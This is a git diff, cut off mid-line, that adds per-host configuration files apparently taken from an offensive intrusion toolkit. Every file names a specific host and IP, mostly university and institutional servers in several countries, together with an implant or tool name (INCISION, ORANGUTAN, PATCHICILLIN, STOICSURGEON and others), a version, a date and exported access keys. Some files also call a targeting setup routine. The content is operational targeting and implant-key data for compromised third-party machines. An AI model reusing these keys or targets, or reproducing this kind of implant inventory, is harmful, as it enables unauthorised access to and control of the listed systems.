+PITCHIMPAIR___photon.sci-museum.kita.osaka.jp___202.243.222.7___20090318-124000() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="45c44069 1ed8c550 475f69fb" +} diff --git a/Linux/bin/varkeys/pitchimpair/photon.sci-museum.kita.osaka.jp___202.243.222.7/patchicillin b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.kita.osaka.jp___202.243.222.7/patchicillin new file mode 100644 index 0000000..3cf8942 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.kita.osaka.jp___202.243.222.7/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___photon.sci-museum.kita.osaka.jp___202.243.222.7___20090318-124000() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.6 + export CV="708726d9 942c938f 666edb31" +} diff --git a/Linux/bin/varkeys/pitchimpair/photon.sci-museum.osaka.jp___202.243.222.7/incision b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.osaka.jp___202.243.222.7/incision new file mode 100644 index 0000000..312c034 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.osaka.jp___202.243.222.7/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___photon.sci-museum.osaka.jp___202.243.222.7___20090318-114340() { + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="e001756c d5a48ffc de4b4b42" +} diff --git a/Linux/bin/varkeys/pitchimpair/photon.sci-museum.osaka.jp___202.243.222.7/jackladder b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.osaka.jp___202.243.222.7/jackladder new file mode 100644 index 0000000..63d3b48 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.osaka.jp___202.243.222.7/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___photon.sci-museum.osaka.jp___202.243.222.7___20090318-114340() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/photon.sci-museum.osaka.jp___202.243.222.7/orangutan b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.osaka.jp___202.243.222.7/orangutan new file mode 100644 index 0000000..2cdb71c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.osaka.jp___202.243.222.7/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___photon.sci-museum.osaka.jp___202.243.222.7___20090318-114340() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="deb3f57c 09c58d30 d2730917" +} diff --git a/Linux/bin/varkeys/pitchimpair/photon.sci-museum.osaka.jp___202.243.222.7/patchicillin b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.osaka.jp___202.243.222.7/patchicillin new file mode 100644 index 0000000..a0b93fd --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.osaka.jp___202.243.222.7/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___photon.sci-museum.osaka.jp___202.243.222.7___20090318-114340() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.6 + export CV="d2b0f726 f8016d77 ec7e9436" +} diff --git a/Linux/bin/varkeys/pitchimpair/photon.sci-museum.osaka.jp___202.243.222.7/reticulum b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.osaka.jp___202.243.222.7/reticulum new file mode 100644 index 0000000..232309a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.osaka.jp___202.243.222.7/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___photon.sci-museum.osaka.jp___202.243.222.7___20090318-114340() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host photon.sci-museum.osaka.jp + set ip 202.243.222.7 + set hostType "Solaris26" + set len 476 + set cv0 b6fd331b + set cv1 f5ecef10 + set cv2 0ba811cc + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/pitepalt.stacken.kth.se___130.237.234.151/incision b/Linux/bin/varkeys/pitchimpair/pitepalt.stacken.kth.se___130.237.234.151/incision new file mode 100644 index 0000000..625ab3e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/pitepalt.stacken.kth.se___130.237.234.151/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___pitepalt.stacken.kth.se___130.237.234.151___20040929-184655() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.9 + export TARG_AYT="3fdbfa28 8814fd26 db99cc78" +} diff --git a/Linux/bin/varkeys/pitchimpair/pitepalt.stacken.kth.se___130.237.234.151/orangutan b/Linux/bin/varkeys/pitchimpair/pitepalt.stacken.kth.se___130.237.234.151/orangutan new file mode 100644 index 0000000..a2f6564 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/pitepalt.stacken.kth.se___130.237.234.151/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___pitepalt.stacken.kth.se___130.237.234.151___20040929-184655() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="483701e2 9a475593 6fae1c90" +} diff --git a/Linux/bin/varkeys/pitchimpair/pitepalt.stacken.kth.se___130.237.234.151/patchicillin b/Linux/bin/varkeys/pitchimpair/pitepalt.stacken.kth.se___130.237.234.151/patchicillin new file mode 100644 index 0000000..d87c866 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/pitepalt.stacken.kth.se___130.237.234.151/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___pitepalt.stacken.kth.se___130.237.234.151___20040929-184655() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="27b1cbf5 8cf829a3 0312a426" +} diff --git a/Linux/bin/varkeys/pitchimpair/pksweb.austria.eu.net___193.154.165.79/dewdrop b/Linux/bin/varkeys/pitchimpair/pksweb.austria.eu.net___193.154.165.79/dewdrop new file mode 100644 index 0000000..455c158 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/pksweb.austria.eu.net___193.154.165.79/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___pksweb.austria.eu.net___193.154.165.79___20090716-143159() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/pksweb.austria.eu.net___193.154.165.79/incision b/Linux/bin/varkeys/pitchimpair/pksweb.austria.eu.net___193.154.165.79/incision new file mode 100644 index 0000000..b21b78d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/pksweb.austria.eu.net___193.154.165.79/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___pksweb.austria.eu.net___193.154.165.79___20090716-143159() { + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="aa832059 b55c825a d1f172a6" +} diff --git a/Linux/bin/varkeys/pitchimpair/pksweb.austria.eu.net___193.154.165.79/jackladder b/Linux/bin/varkeys/pitchimpair/pksweb.austria.eu.net___193.154.165.79/jackladder new file mode 100644 index 0000000..bd62876 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/pksweb.austria.eu.net___193.154.165.79/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___pksweb.austria.eu.net___193.154.165.79___20090716-143159() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/pksweb.austria.eu.net___193.154.165.79/orangutan b/Linux/bin/varkeys/pitchimpair/pksweb.austria.eu.net___193.154.165.79/orangutan new file mode 100644 index 0000000..5717a9c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/pksweb.austria.eu.net___193.154.165.79/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___pksweb.austria.eu.net___193.154.165.79___20090716-143159() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="257612d0 7b3ad1d3 fec50de6" +} diff --git a/Linux/bin/varkeys/pitchimpair/pksweb.austria.eu.net___193.154.165.79/patchicillin b/Linux/bin/varkeys/pitchimpair/pksweb.austria.eu.net___193.154.165.79/patchicillin new file mode 100644 index 0000000..d4f1037 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/pksweb.austria.eu.net___193.154.165.79/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___pksweb.austria.eu.net___193.154.165.79___20090716-143159() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.6 + export CV="0ba7f616 e66519bc 2b41378f" +} diff --git a/Linux/bin/varkeys/pitchimpair/proxy1.tcn.ed.jp___202.231.176.242/incision b/Linux/bin/varkeys/pitchimpair/proxy1.tcn.ed.jp___202.231.176.242/incision new file mode 100644 index 0000000..8f5c617 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/proxy1.tcn.ed.jp___202.231.176.242/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___proxy1.tcn.ed.jp___202.231.176.242___20050815-150857() { + ## INCISION Version:4.9.1 OS:i386-pc-solaris2.8 + export TARG_AYT="17be0dd5 df71b5c4 febb1811" +} diff --git a/Linux/bin/varkeys/pitchimpair/proxy1.tcn.ed.jp___202.231.176.242/orangutan b/Linux/bin/varkeys/pitchimpair/proxy1.tcn.ed.jp___202.231.176.242/orangutan new file mode 100644 index 0000000..9d1e1c9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/proxy1.tcn.ed.jp___202.231.176.242/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___proxy1.tcn.ed.jp___202.231.176.242___20050815-150857() { + ## ORANGUTAN Version:1.6.1 OS:i386-pc-solaris2.8 + export CONFIG_KEYS="32a9f058 82718cff 1e0cd2bf" +} diff --git a/Linux/bin/varkeys/pitchimpair/proxy1.tcn.ed.jp___202.231.176.242/patchicillin b/Linux/bin/varkeys/pitchimpair/proxy1.tcn.ed.jp___202.231.176.242/patchicillin new file mode 100644 index 0000000..66eaebc --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/proxy1.tcn.ed.jp___202.231.176.242/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___proxy1.tcn.ed.jp___202.231.176.242___20050815-150857() { + ## PATCHICILLIN Version:1.1.1.0 OS:i386-pc-solaris2.8 + export CV="65d25d16 272d1904 6fdc4030" +} diff --git a/Linux/bin/varkeys/pitchimpair/rabbit.uj.edu.pl___149.156.89.33/dewdrop b/Linux/bin/varkeys/pitchimpair/rabbit.uj.edu.pl___149.156.89.33/dewdrop new file mode 100644 index 0000000..88bc625 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/rabbit.uj.edu.pl___149.156.89.33/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___rabbit.uj.edu.pl___149.156.89.33___20060404-163839() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/rabbit.uj.edu.pl___149.156.89.33/incision b/Linux/bin/varkeys/pitchimpair/rabbit.uj.edu.pl___149.156.89.33/incision new file mode 100644 index 0000000..75cd3c0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/rabbit.uj.edu.pl___149.156.89.33/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___rabbit.uj.edu.pl___149.156.89.33___20060404-163839() { + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="f28ab17d dd772038 eae33e1b" +} diff --git a/Linux/bin/varkeys/pitchimpair/rabbit.uj.edu.pl___149.156.89.33/jackladder b/Linux/bin/varkeys/pitchimpair/rabbit.uj.edu.pl___149.156.89.33/jackladder new file mode 100644 index 0000000..c9f33a4 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/rabbit.uj.edu.pl___149.156.89.33/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___rabbit.uj.edu.pl___149.156.89.33___20060404-163839() { + ## JACKLADDER Version:2.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/rabbit.uj.edu.pl___149.156.89.33/orangutan b/Linux/bin/varkeys/pitchimpair/rabbit.uj.edu.pl___149.156.89.33/orangutan new file mode 100644 index 0000000..8316a0a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/rabbit.uj.edu.pl___149.156.89.33/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___rabbit.uj.edu.pl___149.156.89.33___20060404-163839() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="ed6610d3 686b4011 65d84612" +} diff --git a/Linux/bin/varkeys/pitchimpair/rabbit.uj.edu.pl___149.156.89.33/patchicillin b/Linux/bin/varkeys/pitchimpair/rabbit.uj.edu.pl___149.156.89.33/patchicillin new file mode 100644 index 0000000..9556bfb --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/rabbit.uj.edu.pl___149.156.89.33/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___rabbit.uj.edu.pl___149.156.89.33___20060404-163839() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="fda18678 478823d3 544df821" +} diff --git a/Linux/bin/varkeys/pitchimpair/royals.ee.nctu.edu.tw___140.113.212.9/dewdrop b/Linux/bin/varkeys/pitchimpair/royals.ee.nctu.edu.tw___140.113.212.9/dewdrop new file mode 100644 index 0000000..3b956f4 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/royals.ee.nctu.edu.tw___140.113.212.9/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___royals.ee.nctu.edu.tw___140.113.212.9___20061128-170218() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/royals.ee.nctu.edu.tw___140.113.212.9/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/royals.ee.nctu.edu.tw___140.113.212.9/stoicsurgeon new file mode 100644 index 0000000..628decf --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/royals.ee.nctu.edu.tw___140.113.212.9/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___royals.ee.nctu.edu.tw___140.113.212.9___20061128-170218() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/s03.informatik.uni-bremin.de___134.102.201.53/incision b/Linux/bin/varkeys/pitchimpair/s03.informatik.uni-bremin.de___134.102.201.53/incision new file mode 100644 index 0000000..2c1344e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/s03.informatik.uni-bremin.de___134.102.201.53/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___s03.informatik.uni-bremin.de___134.102.201.53___20040309-184913() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="a18bce43 389dca2a 765eb66d" +} diff --git a/Linux/bin/varkeys/pitchimpair/s03.informatik.uni-bremin.de___134.102.201.53/orangutan b/Linux/bin/varkeys/pitchimpair/s03.informatik.uni-bremin.de___134.102.201.53/orangutan new file mode 100644 index 0000000..3085485 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/s03.informatik.uni-bremin.de___134.102.201.53/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___s03.informatik.uni-bremin.de___134.102.201.53___20040309-184913() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="e5e2072e 6e17d7ee ca85bbaa" +} diff --git a/Linux/bin/varkeys/pitchimpair/san.hufs.ac.kr___203.253.64.2/dewdrop b/Linux/bin/varkeys/pitchimpair/san.hufs.ac.kr___203.253.64.2/dewdrop new file mode 100644 index 0000000..67fae2b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/san.hufs.ac.kr___203.253.64.2/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___san.hufs.ac.kr___203.253.64.2___20070801-112949() { + ## DEWDROP Version:DEWDROP v3.0.2.1 sparc-sun-solaris OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/san.hufs.ac.kr___203.253.64.2/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/san.hufs.ac.kr___203.253.64.2/stoicsurgeon new file mode 100644 index 0000000..9c9ff5f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/san.hufs.ac.kr___203.253.64.2/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___san.hufs.ac.kr___203.253.64.2___20070801-112949() { + ## STOICSURGEON Version:STOICSURGEON v1.1.38.1 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/saturn.mni.fh-giessen.de___212.201.7.21/incision b/Linux/bin/varkeys/pitchimpair/saturn.mni.fh-giessen.de___212.201.7.21/incision new file mode 100644 index 0000000..77f58b0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/saturn.mni.fh-giessen.de___212.201.7.21/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___saturn.mni.fh-giessen.de___212.201.7.21___20041202-223050() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="43f68770 91377c9f bd9f7feb" +} diff --git a/Linux/bin/varkeys/pitchimpair/saturn.mni.fh-giessen.de___212.201.7.21/orangutan b/Linux/bin/varkeys/pitchimpair/saturn.mni.fh-giessen.de___212.201.7.21/orangutan new file mode 100644 index 0000000..20cdfff --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/saturn.mni.fh-giessen.de___212.201.7.21/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___saturn.mni.fh-giessen.de___212.201.7.21___20041202-223050() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="8307a13d b3fc9c0f 04b4cfda" +} diff --git a/Linux/bin/varkeys/pitchimpair/saturn.mni.fh-giessen.de___212.201.7.21/patchicillin b/Linux/bin/varkeys/pitchimpair/saturn.mni.fh-giessen.de___212.201.7.21/patchicillin new file mode 100644 index 0000000..b5ae753 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/saturn.mni.fh-giessen.de___212.201.7.21/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___saturn.mni.fh-giessen.de___212.201.7.21___20041202-223050() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="77628259 316584e3 d87dfca9" +} diff --git a/Linux/bin/varkeys/pitchimpair/sci.s-t.au.ac.th___168.120.9.1/incision b/Linux/bin/varkeys/pitchimpair/sci.s-t.au.ac.th___168.120.9.1/incision new file mode 100644 index 0000000..f9fa0b4 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/sci.s-t.au.ac.th___168.120.9.1/incision @@ -0,0 +1,5 @@ +PITCHIMPAIR___sci.s-t.au.ac.th___168.120.9.1___20020501-104838() { + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.8 + export TARG_AYT="082fefdd 88678c58 39cf6a9c" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=840 +} diff --git a/Linux/bin/varkeys/pitchimpair/sci.s-t.au.ac.th___168.120.9.1/orangutan b/Linux/bin/varkeys/pitchimpair/sci.s-t.au.ac.th___168.120.9.1/orangutan new file mode 100644 index 0000000..1139643 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/sci.s-t.au.ac.th___168.120.9.1/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___sci.s-t.au.ac.th___168.120.9.1___20020501-104838() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="241b87e2 11a3b71f c683ea54" +} diff --git a/Linux/bin/varkeys/pitchimpair/scsun25.unige.ch___129.194.49.47/incision b/Linux/bin/varkeys/pitchimpair/scsun25.unige.ch___129.194.49.47/incision new file mode 100644 index 0000000..bd9e2b4 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/scsun25.unige.ch___129.194.49.47/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___scsun25.unige.ch___129.194.49.47___20040309-164903() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="a8c58620 9fe14156 050245a7" +} diff --git a/Linux/bin/varkeys/pitchimpair/scsun25.unige.ch___129.194.49.47/orangutan b/Linux/bin/varkeys/pitchimpair/scsun25.unige.ch___129.194.49.47/orangutan new file mode 100644 index 0000000..f696f4f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/scsun25.unige.ch___129.194.49.47/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___scsun25.unige.ch___129.194.49.47___20040309-164903() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="b90d560c 34a66ed5 648deb2c" +} diff --git a/Linux/bin/varkeys/pitchimpair/scsun25.unige.ch___129.194.49.47/sidetrack b/Linux/bin/varkeys/pitchimpair/scsun25.unige.ch___129.194.49.47/sidetrack new file mode 100644 index 0000000..d0bc4ea --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/scsun25.unige.ch___129.194.49.47/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___scsun25.unige.ch___129.194.49.47___20040309-164903() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="70531305 86518170 c7ed28d5 566497a9" +} diff --git a/Linux/bin/varkeys/pitchimpair/seoildsp.co.kr___218.36.28.250/incision b/Linux/bin/varkeys/pitchimpair/seoildsp.co.kr___218.36.28.250/incision new file mode 100644 index 0000000..5a41fdc --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/seoildsp.co.kr___218.36.28.250/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___seoildsp.co.kr___218.36.28.250___20040406-132009() { + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="5f70a916 3f4ab64a 6659ef8d" +} diff --git a/Linux/bin/varkeys/pitchimpair/seoildsp.co.kr___218.36.28.250/orangutan b/Linux/bin/varkeys/pitchimpair/seoildsp.co.kr___218.36.28.250/orangutan new file mode 100644 index 0000000..c0bf13b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/seoildsp.co.kr___218.36.28.250/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___seoildsp.co.kr___218.36.28.250___20040406-132009() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="9791c1d0 9b313914 d4285144" +} diff --git a/Linux/bin/varkeys/pitchimpair/seoildsp.co.kr___218.36.28.250/patchicillin b/Linux/bin/varkeys/pitchimpair/seoildsp.co.kr___218.36.28.250/patchicillin new file mode 100644 index 0000000..c38697a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/seoildsp.co.kr___218.36.28.250/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___seoildsp.co.kr___218.36.28.250___20040406-132009() { + ## PATCHICILLIN Version:1.1 OS:sparc-sun-solaris2.6 + export CV="9865f590 b87dfc52 0c39aa4a" +} diff --git a/Linux/bin/varkeys/pitchimpair/seoildsp.co.kr___218.36.28.250/reticulum b/Linux/bin/varkeys/pitchimpair/seoildsp.co.kr___218.36.28.250/reticulum new file mode 100644 index 0000000..5eb672f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/seoildsp.co.kr___218.36.28.250/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___seoildsp.co.kr___218.36.28.250___20040406-132009() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host seoildsp.co.kr + set ip 218.36.28.250 + set hostType "Solaris26" + set len 476 + set cv0 64e2d584 + set cv1 5ab27962 + set cv2 db4a31ed + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/servercip92.e-technik.uni-rostock.de___139.30.200.132/dewdrop b/Linux/bin/varkeys/pitchimpair/servercip92.e-technik.uni-rostock.de___139.30.200.132/dewdrop new file mode 100644 index 0000000..43a18be --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/servercip92.e-technik.uni-rostock.de___139.30.200.132/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___servercip92.e-technik.uni-rostock.de___139.30.200.132___20061204-163558() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/servercip92.e-technik.uni-rostock.de___139.30.200.132/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/servercip92.e-technik.uni-rostock.de___139.30.200.132/stoicsurgeon new file mode 100644 index 0000000..ca77a5b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/servercip92.e-technik.uni-rostock.de___139.30.200.132/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___servercip92.e-technik.uni-rostock.de___139.30.200.132___20061204-163558() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/servidor2.upc.es___147.83.2.3/incision b/Linux/bin/varkeys/pitchimpair/servidor2.upc.es___147.83.2.3/incision new file mode 100644 index 0000000..1e7844d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/servidor2.upc.es___147.83.2.3/incision @@ -0,0 +1,5 @@ +INTONATION___servidor2.upc.es___147.83.2.3___20020214-203036() { + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.7 + export TARG_AYT="3ee4ba5a 21cdbc29 56bf444e" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=-60 +} diff --git a/Linux/bin/varkeys/pitchimpair/servidor2.upc.es___147.83.2.3/orangutan b/Linux/bin/varkeys/pitchimpair/servidor2.upc.es___147.83.2.3/orangutan new file mode 100644 index 0000000..78483e2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/servidor2.upc.es___147.83.2.3/orangutan @@ -0,0 +1,4 @@ +INTONATION___servidor2.upc.es___147.83.2.3___20020214-203036() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="ced02977 2aa11ff6 18f14b99" +} diff --git a/Linux/bin/varkeys/pitchimpair/servidor2.upc.es___147.83.2.3/reticulum b/Linux/bin/varkeys/pitchimpair/servidor2.upc.es___147.83.2.3/reticulum new file mode 100644 index 0000000..4bd5665 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/servidor2.upc.es___147.83.2.3/reticulum @@ -0,0 +1,20 @@ +INTONATION___servidor2.upc.es___147.83.2.3___20020214-203036() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host servidor2.upc.es + set ip 147.83.2.3 + set hostType "Solaris27" + set len 476 + set cv0 de575c18 + set cv1 f2036ceb + set cv2 7cfd6483 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/smtp.bangla.net___203.188.252.10/dewdrop b/Linux/bin/varkeys/pitchimpair/smtp.bangla.net___203.188.252.10/dewdrop new file mode 100644 index 0000000..205f20c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/smtp.bangla.net___203.188.252.10/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___smtp.bangla.net___203.188.252.10___20061103-083620() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/smtp.bangla.net___203.188.252.10/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/smtp.bangla.net___203.188.252.10/stoicsurgeon new file mode 100644 index 0000000..fd3a2e4 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/smtp.bangla.net___203.188.252.10/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___smtp.bangla.net___203.188.252.10___20061103-083620() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.3 sparc-sun-solaris2.9 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/smuc.smuc.ac.kr___203.237.176.1/dewdrop b/Linux/bin/varkeys/pitchimpair/smuc.smuc.ac.kr___203.237.176.1/dewdrop new file mode 100644 index 0000000..f55e740 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/smuc.smuc.ac.kr___203.237.176.1/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___smuc.smuc.ac.kr___203.237.176.1___20051026-101551() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/smuc.smuc.ac.kr___203.237.176.1/incision b/Linux/bin/varkeys/pitchimpair/smuc.smuc.ac.kr___203.237.176.1/incision new 